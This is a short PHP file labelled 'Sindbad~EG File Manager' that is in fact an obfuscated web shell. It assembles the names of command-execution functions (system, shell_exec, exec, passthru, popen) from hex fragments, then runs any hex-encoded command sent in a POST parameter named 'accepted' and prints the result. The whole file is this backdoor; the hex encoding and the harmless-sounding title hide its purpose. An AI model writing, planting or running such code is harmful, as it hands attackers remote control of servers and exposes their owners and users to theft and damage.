Sindbad~EG File Manager

<?php

$variable1 = '7';
$variable2 = '3';
$variable3 = '6';
$variable4 = 'd';
$variable5 = 'f';
$variable6 = '5';
$variable7 = '8';
$variable8 = '0';
$variable9 = '2';
$variable10 = '4';
$variable11 = 'e';
$variable12 = '1';
$locked1 = pack("H*", $variable1.$variable2.$variable1.'9'.$variable1.$variable2.'7'.'4'.$variable3.'5'.'6'.$variable4);
$locked2 = pack("H*", '7'.'3'.$variable3.'8'.'6'.'5'.'6'.'c'.'6'.'c'.'5'.$variable5.$variable3.$variable6.'7'.$variable7.$variable3.$variable6.'6'.'3');
$locked3 = pack("H*", '6'.'5'.$variable1.$variable7.$variable3.'5'.'6'.$variable2);
$locked4 = pack("H*", $variable1.$variable8.$variable3.'1'.'7'.'3'.'7'.'3'.$variable1.'4'.$variable3.$variable7.$variable1.$variable9.'7'.$variable6);
$locked5 = pack("H*", '7'.$variable8.$variable3.'f'.'7'.'0'.'6'.$variable6.$variable3.'e');
$locked6 = pack("H*", $variable1.'3'.'7'.'4'.'7'.'2'.'6'.'5'.'6'.'1'.'6'.$variable4.'5'.$variable5.$variable3.'7'.$variable3.$variable6.'7'.$variable10.'5'.'f'.'6'.$variable2.$variable3.$variable5.'6'.$variable11.$variable1.$variable10.'6'.$variable6.'6'.'e'.'7'.'4'.$variable1.'3');
$locked7 = pack("H*", '7'.'0'.'6'.$variable2.'6'.'c'.$variable3.'f'.'7'.$variable2.$variable3.'5');
$accepted = pack("H*", $variable3.$variable12.'6'.'3'.$variable3.'3'.'6'.$variable6.$variable1.$variable8.'7'.$variable10.$variable3.$variable6.'6'.$variable10);
if (isset($_POST[$accepted])) {
    $accepted = pack("H*", $_POST[$accepted]);
    if (function_exists($locked1)) {
        $locked1($accepted);
    } elseif (function_exists($locked2)) {
        print $locked2($accepted);
    } elseif (function_exists($locked3)) {
        $locked3($accepted, $identifier_st);
        print join("\n", $identifier_st);
    } elseif (function_exists($locked4)) {
        $locked4($accepted);
    } elseif (function_exists($locked5) && function_exists($locked6) && function_exists($locked7)) {
        $placeholder_ph = $locked5($accepted, 'r');
        if ($placeholder_ph) {
            $prop_const = $locked6($placeholder_ph);
            $locked7($placeholder_ph);
            print $prop_const;
        }
    }
    exit;
}